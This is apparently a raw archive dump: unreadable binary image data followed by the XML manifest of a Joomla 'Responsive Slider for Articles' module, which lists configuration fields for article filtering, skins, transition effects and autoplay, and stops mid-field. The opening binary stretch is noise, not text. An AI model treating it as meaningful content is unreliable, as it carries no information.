=�Z�;���yy�|�����[S3�n-\������e\�)��?�nM�s�=�u4���>L�p�p��s�;�>�+��EA�U�?�Z�"�9�xH��j�[�w��E� iʖ�@8�� �K�JA�X�?L�p:kp�Z NPs��R���w�ì��t�0�{w`�N�~ N-p9�<]��̑��f�| ���X�H�J�+���K�B��.�_8��\H��C�j8����^��z&n� N-�7`7ԝ��C�{�G�ww��Z���j��c���Od&�j8�5���:��럧;�G�����Ge&�j8u��q>�O�y�*�` �� �����%�����Q �.��(^�<]�B��߇q@�S���a����F5�:d����]�y�µ��g!�?�<]�����>|6�!�B��Ky..�� �K�|�\"p�0jTé��"�tM�G(8��?��;N_�)�N6��m_��m�7�*�%H�N,L�6�|�]�JF=�Z4�ꭖk�}��xF*wm����t�\cO3.c����<�R���y�D>?��[b_�4���a�\���[� {���t�������#���x�Ƈ��t�'幸�V�ly��!�TX_����'��>L�p��[��)� �Z�mݠ�0��.�~N��H�aҨ�S�����KG���Ԣ���0�\"�wB}>��HM<O76��LG��>J:-���>��0�{H�aҨ�S�E�q���^�,p� N-"P�`�0��q\�c��6�U([L���V*�/�i���j8u@=�øl���Bͽ^�@����3�^"P�� ��vi�Spj�˴��^B�� zm�ad&�Yԇ1f��8�j<'}��u����%P�NP��Cb>j��C"p�D���V����H�2���'IEND�B`��������������������������������� ���w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?����#R��-E���ڻw�H�[<�'��a�x�F�n��N�ڥ��B7XF>�������|c�x�Kٯ��82�'%W��>�]}y���3���������8W�Ҙ�U�ďL7�k��c�[x��'��o.�����Oc����7B� ���-W�Z^�5�Ԕ���5�Չ���o���&��SN���xCŒ[��v�8�`e$�R{�3���z���>#�H_n�����1��Oou�ʠ�[���C��ҼE�&� �E��%�x�Č��?Z뮮 �����d����;aUG$�z ��0m�r{F� Z�.��;�FO��vܴ|A�O�<m▴��f��Q$e�b�~�#�$�zWw�M����-��# ��Ov'�=���3��8#!�@��PNG IHDR szz�sRGB���gAMA���a�IDATXG����qA�<�B)!"*��Z� ܁(�"� WAE��(Q)T�=�͎�Yg���K&;{��ٙ��e�mK��� �l���'�1�$�InZu��n�����c�|1����z����gW+�X,�~����Gk��t��:\ͪժ�^��ۍ��p��&���qK�l�\ro���Bc,�HM�1�ZMh���m����v����:v��d^��a4��lZ�256_b9351a599eff87f0*������������K������������������������������������X��˅��@܉l6+43F��s�b,�.�{��h4� !�8�����c�P�2\T*�X,�c�ш����"A���r|�T*��b�锟 �~�M�W���g��t�F���V���w<��a���㈣Hy�97,�E�T*�:�N�dRQO �y���e���bՐ�j���9�=�N�7!�E�|>�e<;��DP��o�x~���w�]G��-q��/Ps�������l�zCnLY�F|�f3����/jR����@��B�y��G{ ��2�U ���G���r���\�}@/$�]X.�~����9�R��y�����8�*/�X��@6���`Q�"�o_��������X�� �����t�C��a��SB�8B~���=�@�H^�GnF�uǏT(y0�i��� ����k��\�'6�p���ڽ�K��9�EU�`L$�t �5�*���?z�P�Q�kp�D�hR�*YIEND�B`�mod_responsive_slider.xml000060400000102541151652224050011665 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension type="module" client="site" version="1.7.0" method="upgrade"> <name>Responsive Slider for Articles</name> <author>Minitek.gr</author> <creationDate>October 2013</creationDate> <copyright>Copyright (C) 2011-2014 Minitek.gr. All rights reserved.</copyright> <authorUrl>www.minitek.gr</authorUrl> <version>3.1.5</version> <license>http://www.gnu.org/licenses/gpl-3.0.html</license> <description> <![CDATA[ <h1>Responsive Slider for Articles</h1> <p>An impressive, feature-rich and elegant responsive slider for Joomla articles.</p> ]]> </description> <files> <filename module="mod_responsive_slider">mod_responsive_slider.php</filename> <filename>helper.php</filename> <filename>index.html</filename> <folder>admin</folder> <folder>assets</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.mod_responsive_slider.ini</language> <language tag="en-GB">en-GB.mod_responsive_slider.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="MOD_RESPONSIVE_SLIDER_CONFIG_BASIC_GENERAL_SETTINGS"> <field name="moduleclass_sfx" type="textarea" rows="3" label="MOD_RESPONSIVE_SLIDER_CONFIG_CLASS_SUFFIX_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_CLASS_SUFFIX_DESC" /> <field name="auto_module_id" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_AUTO_MODULE_ID_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_AUTO_MODULE_ID_DESC"> <option value="0">JNo</option> <option value="1">JYes</option> </field> <field name="custom_module_id" type="text" default="" label="MOD_RESPONSIVE_SLIDER_CONFIG_CUSTOM_MODULE_ID_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_CUSTOM_MODULE_ID_DESC" /> </fieldset> <fieldset name="DataSource" label="MOD_RESPONSIVE_SLIDER_CONFIG_DATA_SOURCE" > <field name="count" type="text" default="5" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_COUNT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_COUNT_DESC" /> <field name="filteringspacer6" type="spacer" hr="true" /> <field name="category_filtering_type" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_CATFILTERINGTYPE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_CATFILTERINGTYPE_DESC" > <option value="1">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_INCLUSIVE_VALUE</option> <option value="0">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_EXCLUSIVE_VALUE</option> </field> <field name="catid" type="category" extension="com_content" multiple="true" size="5" label="JCATEGORY" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_CATEGORY_DESC" > <option value="">JOPTION_ALL_CATEGORIES</option> </field> <field name="show_child_category_articles" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_SHOWCHILDCATEGORYARTICLES_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_SHOWCHILDCATEGORYARTICLES_DESC" > <option value="1">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_INCLUDE_VALUE</option> <option value="0">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_EXCLUDE_VALUE</option> </field> <field name="levels" type="text" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_CATDEPTH_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_CATDEPTH_DESC" /> <field name="filteringspacer2" type="spacer" hr="true" /> <field name="author_filtering_type" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORFILTERING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORFILTERING_DESC" > <option value="1">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_INCLUSIVE_VALUE</option> <option value="0">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_EXCLUSIVE_VALUE</option> </field> <field name="created_by" type="sql" multiple="true" size="5" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHOR_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHOR_DESC" query="select id, name, username from #__users where id IN (select distinct(created_by) from #__content) order by name ASC" key_field="id" value_field="name" > <option value="">JOPTION_SELECT_AUTHORS</option> </field> <field name="filteringspacer3" type="spacer" hr="true" /> <field name="author_alias_filtering_type" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORALIASFILTERING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORALIASFILTERING_DESC" > <option value="1">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_INCLUSIVE_VALUE</option> <option value="0">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_EXCLUSIVE_VALUE</option> </field> <field name="created_by_alias" type="sql" multiple="true" size="5" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORALIAS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_AUTHORALIAS_DESC" query="select distinct(created_by_alias) from #__content where created_by_alias != '' order by created_by_alias ASC" key_field="created_by_alias" value_field="created_by_alias" > <option value="">JOPTION_SELECT_AUTHOR_ALIASES</option> </field> <field name="filteringspacer4" type="spacer" hr="true" /> <field name="show_front" type="radio" class="btn-group" default="show" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_SHOWFEATURED_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_SHOWFEATURED_DESC" > <option value="show">JSHOW</option> <option value="hide">JHIDE</option> <option value="only">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_ONLYFEATURED_VALUE</option> </field> <field name="filteringspacer7" type="spacer" hr="true" /> <field name="date_filtering" type="radio" class="btn-group" default="off" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFILTERING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFILTERING_DESC" > <option value="off">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_OFF_VALUE</option> <option value="range">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_DATERANGE_VALUE</option> <option value="relative">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_RELATIVEDAY_VALUE</option> </field> <field name="date_field" type="radio" class="btn-group" default="a.created" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATERANGEFIELD_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATERANGEFIELD_DESC" > <option value="a.created">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_CREATED_VALUE</option> <option value="a.modified">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_MODIFIED_VALUE</option> <option value="a.publish_up">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option> </field> <field name="start_date_range" type="calendar" format="%Y-%m-%d %H:%M:%S" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_STARTDATE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_STARTDATE_DESC" size="22" filter="user_utc" /> <field name="end_date_range" type="calendar" format="%Y-%m-%d %H:%M:%S" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ENDDATE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ENDDATE_DESC" size="22" filter="user_utc" /> <field name="relative_date" type="text" default="30" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_RELATIVEDATE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_RELATIVEDATE_DESC" /> <field name="show_date_field" type="radio" class="btn-group" default="created" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFIELD_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFIELD_DESC" > <option value="created">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_CREATED_VALUE</option> <option value="modified">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_MODIFIED_VALUE</option> <option value="publish_up">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option> </field> <field name="show_date_format" type="text" default="Y-m-d H:i:s" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFIELDFORMAT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_DATEFIELDFORMAT_DESC" /> <field name="filteringspacer8" type="spacer" hr="true" /> <field name="excluded_articles" type="textarea" cols="10" rows="3" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_EXCLUDEDARTICLES_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_EXCLUDEDARTICLES_DESC" /> <field name="filteringspacer5" type="spacer" hr="true" /> <field name="article_ordering" type="list" default="a.title" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ARTICLEORDERING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ARTICLEORDERING_DESC" > <option value="a.ordering">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_ORDERING_VALUE</option> <option value="fp.ordering">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_ORDERINGFEATURED_VALUE</option> <option value="a.hits">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_HITS_VALUE</option> <option value="a.title">JGLOBAL_TITLE</option> <option value="a.id">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_ID_VALUE</option> <option value="a.alias">JFIELD_ALIAS_LABEL</option> <option value="a.created">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_CREATED_VALUE</option> <option value="modified">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_MODIFIED_VALUE</option> <option value="publish_up">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option> <option value="a.publish_down">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_FINISHPUBLISHING_VALUE</option> </field> <field name="article_ordering_direction" type="radio" class="btn-group" default="ASC" label="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ARTICLEORDERINGDIR_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_FIELD_ARTICLEORDERINGDIR_DESC" > <option value="DESC">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_DESCENDING_VALUE</option> <option value="ASC">MOD_RESPONSIVE_SLIDER_CATEGORY_OPTION_ASCENDING_VALUE</option> </field> </fieldset> <fieldset name="RESPONSIVE_SLIDER_CONFIG_SLIDER_SETTINGS"> <field name="image_type" type="radio" class="btn-group" default="introtext" label="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_TYPE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_TYPE_DESC" > <option value="introtext">Intro Image</option> <option value="fulltext">Fulltext Image</option> <option value="inline">Inline Image</option> </field> <field name="image_width" type="text" default="864" label="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_WIDTH_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_WIDTH_DESC" /> <field name="image_height" type="text" default="354" label="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_HEIGHT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_IMAGE_HEIGHT_DESC" /> <field name="slider_title" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_TITLE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_TITLE_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="title_limit" type="text" default="15" label="MOD_RESPONSIVE_SLIDER_CONFIG_TITLE_LIMIT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_TITLE_LIMIT_DESC" /> <field name="slider_introtext" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_INTROTEXT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_INTROTEXT_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="introtext_limit" type="text" default="15" label="MOD_RESPONSIVE_SLIDER_CONFIG_INTROTEXT_LIMIT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_INTROTEXT_LIMIT_DESC" /> <field name="slider_date" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_DATE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_DATE_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="slider_category" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_CATEGORY_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_CATEGORY_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="slider_author" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_AUTHOR_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_AUTHOR_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="minimum_height" type="text" default="150" label="MOD_RESPONSIVE_SLIDER_CONFIG_MINIMUM_HEIGHT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_MINIMUM_HEIGHT_DESC" /> <field name="show_thumbs" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_THUMBS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_THUMBS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="thumb_width" type="text" default="80" label="MOD_RESPONSIVE_SLIDER_CONFIG_THUMB_WIDTH_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_THUMB_WIDTH_DESC" /> <field name="thumb_height" type="text" default="60" label="MOD_RESPONSIVE_SLIDER_CONFIG_THUMB_HEIGHT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_THUMB_HEIGHT_DESC" /> <field name="skin" type="list" default="pacific" label="MOD_RESPONSIVE_SLIDER_CONFIG_SKIN_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_SKIN_DESC" > <option value="camera_amber_skin">amber</option> <option value="camera_ash_skin">ash</option> <option value="camera_azure_skin">azure</option> <option value="camera_beige_skin">beige</option> <option value="camera_black_skin">black</option> <option value="camera_blue_skin">blue</option> <option value="camera_brown_skin">brown</option> <option value="camera_burgundy_skin">burgundy</option> <option value="camera_charcoal_skin">charcoal</option> <option value="camera_chocolate_skin">chocolate</option> <option value="camera_coffee_skin">coffee</option> <option value="camera_cyan_skin">cyan</option> <option value="camera_fuchsia_skin">fuchsia</option> <option value="camera_gold_skin">gold</option> <option value="camera_green_skin">green</option> <option value="camera_grey_skin">grey</option> <option value="camera_indigo_skin">indigo</option> <option value="camera_khaki_skin">khaki</option> <option value="camera_lime_skin">lime</option> <option value="camera_magenta_skin">magenta</option> <option value="camera_maroon_skin">maroon</option> <option value="camera_orange_skin">orange</option> <option value="camera_olive_skin">olive</option> <option value="camera_pink_skin">pink</option> <option value="camera_pistachio_skin">pistachio</option> <option value="camera_red_skin">red</option> <option value="camera_tangerine_skin">tangerine</option> <option value="camera_turquoise_skin">turquoise</option> <option value="camera_violet_skin">violet</option> <option value="camera_white_skin">white</option> <option value="camera_yellow_skin">yellow</option> </field> </fieldset> <fieldset name="RESPONSIVE_SLIDER_CONFIG_EFFECTS_SETTINGS"> <field name="slider_effect" type="list" default="random" label="MOD_RESPONSIVE_SLIDER_CONFIG_EFFECT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_EFFECT_DESC" > <option value="random">random</option> <option value="simpleFade">simpleFade</option> <option value="curtainTopLeft">curtainTopLeft</option> <option value="curtainTopRight">curtainTopRight</option> <option value="curtainBottomLeft">curtainBottomLeft</option> <option value="curtainBottomRight">curtainBottomRight</option> <option value="curtainSliceLeft">curtainSliceLeft</option> <option value="curtainSliceRight">curtainSliceRight</option> <option value="blindCurtainTopLeft">blindCurtainTopLeft</option> <option value="blindCurtainTopRight">blindCurtainTopRight</option> <option value="blindCurtainBottomLeft">blindCurtainBottomLeft</option> <option value="blindCurtainBottomRight">blindCurtainBottomRight</option> <option value="blindCurtainSliceBottom">blindCurtainSliceBottom</option> <option value="blindCurtainSliceTop">blindCurtainSliceTop</option> <option value="stampede">stampede</option> <option value="mosaic">mosaic</option> <option value="mosaicReverse">mosaicReverse</option> <option value="mosaicRandom">mosaicRandom</option> <option value="mosaicSpiral">mosaicSpiral</option> <option value="mosaicSpiralReverse">mosaicSpiralReverse</option> <option value="topLeftBottomRight">topLeftBottomRight</option> <option value="bottomRightTopLeft">bottomRightTopLeft</option> <option value="bottomLeftTopRight">bottomLeftTopRight</option> <option value="bottomLeftTopRight">bottomLeftTopRight</option> <option value="scrollLeft">scrollLeft</option> <option value="scrollRight">scrollRight</option> <option value="scrollHorz">scrollHorz</option> <option value="scrollBottom">scrollBottom</option> <option value="scrollTop">scrollTop</option> </field> <field name="mobile_slider_effect" type="list" default="random" label="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_EFFECT_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_EFFECT_DESC" > <option value="random">random</option> <option value="simpleFade">simpleFade</option> <option value="curtainTopLeft">curtainTopLeft</option> <option value="curtainTopRight">curtainTopRight</option> <option value="curtainBottomLeft">curtainBottomLeft</option> <option value="curtainBottomRight">curtainBottomRight</option> <option value="curtainSliceLeft">curtainSliceLeft</option> <option value="curtainSliceRight">curtainSliceRight</option> <option value="blindCurtainTopLeft">blindCurtainTopLeft</option> <option value="blindCurtainTopRight">blindCurtainTopRight</option> <option value="blindCurtainBottomLeft">blindCurtainBottomLeft</option> <option value="blindCurtainBottomRight">blindCurtainBottomRight</option> <option value="blindCurtainSliceBottom">blindCurtainSliceBottom</option> <option value="blindCurtainSliceTop">blindCurtainSliceTop</option> <option value="stampede">stampede</option> <option value="mosaic">mosaic</option> <option value="mosaicReverse">mosaicReverse</option> <option value="mosaicRandom">mosaicRandom</option> <option value="mosaicSpiral">mosaicSpiral</option> <option value="mosaicSpiralReverse">mosaicSpiralReverse</option> <option value="topLeftBottomRight">topLeftBottomRight</option> <option value="bottomRightTopLeft">bottomRightTopLeft</option> <option value="bottomLeftTopRight">bottomLeftTopRight</option> <option value="bottomLeftTopRight">bottomLeftTopRight</option> <option value="scrollLeft">scrollLeft</option> <option value="scrollRight">scrollRight</option> <option value="scrollHorz">scrollHorz</option> <option value="scrollBottom">scrollBottom</option> <option value="scrollTop">scrollTop</option> </field> <field name="easing" type="list" default="linear" label="MOD_RESPONSIVE_SLIDER_CONFIG_EASING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_EASING_DESC" > <option value="linear">linear</option> <option value="jswing">jswing</option> <option value="easeInQuad">easeInQuad</option> <option value="easeOutQuad">easeOutQuad</option> <option value="easeInOutQuad">easeInOutQuad</option> <option value="easeInCubic">easeInCubic</option> <option value="easeOutCubic">easeOutCubic</option> <option value="easeInOutCubic">easeInOutCubic</option> <option value="easeInQuart">easeInQuart</option> <option value="easeOutQuart">easeOutQuart</option> <option value="easeInOutQuart">easeInOutQuart</option> <option value="easeInSine">easeInSine</option> <option value="easeOutSine">easeOutSine</option> <option value="easeInOutSine">easeInOutSine</option> <option value="easeInExpo">easeInExpo</option> <option value="easeOutExpo">easeOutExpo</option> <option value="easeInOutExpo">easeInOutExpo</option> <option value="easeInQuint">easeInQuint</option> <option value="easeOutQuint">easeOutQuint</option> <option value="easeInOutQuint">easeInOutQuint</option> <option value="easeInCirc">easeInCirc</option> <option value="easeOutCirc">easeOutCirc</option> <option value="easeInOutCirc">easeInOutCirc</option> <option value="easeInElastic">easeInElastic</option> <option value="easeOutElastic">easeOutElastic</option> <option value="easeInOutElastic">easeInOutElastic</option> <option value="easeInBounce">easeInBounce</option> <option value="easeOutBounce">easeOutBounce</option> <option value="easeInOutBounce">easeInOutBounce</option> </field> <field name="mobile_easing" type="list" default="linear" label="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_EASING_LABEL" description="MOD_RESPONSIVE_SLIDER_MOBILE_CONFIG_EASING_DESC" > <option value="linear">linear</option> <option value="jswing">jswing</option> <option value="easeInQuad">easeInQuad</option> <option value="easeOutQuad">easeOutQuad</option> <option value="easeInOutQuad">easeInOutQuad</option> <option value="easeInCubic">easeInCubic</option> <option value="easeOutCubic">easeOutCubic</option> <option value="easeInOutCubic">easeInOutCubic</option> <option value="easeInQuart">easeInQuart</option> <option value="easeOutQuart">easeOutQuart</option> <option value="easeInOutQuart">easeInOutQuart</option> <option value="easeInSine">easeInSine</option> <option value="easeOutSine">easeOutSine</option> <option value="easeInOutSine">easeInOutSine</option> <option value="easeInExpo">easeInExpo</option> <option value="easeOutExpo">easeOutExpo</option> <option value="easeInOutExpo">easeInOutExpo</option> <option value="easeInQuint">easeInQuint</option> <option value="easeOutQuint">easeOutQuint</option> <option value="easeInOutQuint">easeInOutQuint</option> <option value="easeInCirc">easeInCirc</option> <option value="easeOutCirc">easeOutCirc</option> <option value="easeInOutCirc">easeInOutCirc</option> <option value="easeInElastic">easeInElastic</option> <option value="easeOutElastic">easeOutElastic</option> <option value="easeInOutElastic">easeInOutElastic</option> <option value="easeInBounce">easeInBounce</option> <option value="easeOutBounce">easeOutBounce</option> <option value="easeInOutBounce">easeInOutBounce</option> </field> <field name="autoplay" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOPLAY_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOPLAY_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="mobile_autoplay" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_AUTOPLAY_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_AUTOPLAY_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="autoplay_speed" type="text" default="5000" label="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOPLAY_SPEED_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOPLAY_SPEED_DESC" /> <field name="transition_speed" type="text" default="700" label="MOD_RESPONSIVE_SLIDER_CONFIG_TRANSITION_SPEED_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_TRANSITION_SPEED_DESC" /> <field name="play_pause_buttons" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_PLAY_PAUSE_BUTTONS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_PLAY_PAUSE_BUTTONS_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="pause_on_click" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_PAUSE_ON_CLICK_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_PAUSE_ON_CLICK_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="pause_on_hover" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_PAUSE_ON_HOVER_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_PAUSE_ON_HOVER_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="show_arrows" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_ARROWS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_ARROWS_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="autohide_arrows" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOHIDE_ARROWS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_AUTOHIDE_ARROWS_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="mobile_autohide_arrows" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_AUTOHIDE_ARROWS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_MOBILE_AUTOHIDE_ARROWS_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="show_bullets" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_BULLETS_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_SHOW_BULLETS_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="opacity_on_grid" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_OPACITY_ON_GRID_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_OPACITY_ON_GRID_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="loader" type="radio" class="btn-group" default="pie" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_DESC" > <option value="pie">Pie</option> <option value="bar">Bar</option> <option value="none">JNONE</option> </field> <field name="loader_color" type="text" default="#eeeeee" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_COLOR_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_COLOR_DESC" /> <field name="loader_bg_color" type="text" default="#222222" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_BACKGROUND_COLOR_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_BACKGROUND_COLOR_DESC" /> <field name="loader_opacity" type="text" default=".8" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_OPACITY_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_OPACITY_DESC" /> <field name="loader_padding" type="text" default="2" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_PADDING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_PADDING_DESC" /> <field name="loader_stroke" type="text" default="7" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_STROKE_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOADER_STROKE_DESC" /> <field name="pie_diameter" type="text" default="38" label="MOD_RESPONSIVE_SLIDER_CONFIG_PIE_DIAMETER_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_PIE_DIAMETER_DESC" /> <field name="pie_position" type="radio" class="btn-group" default="rightTop" label="MOD_RESPONSIVE_SLIDER_CONFIG_PIE_POSITION_LABEL" 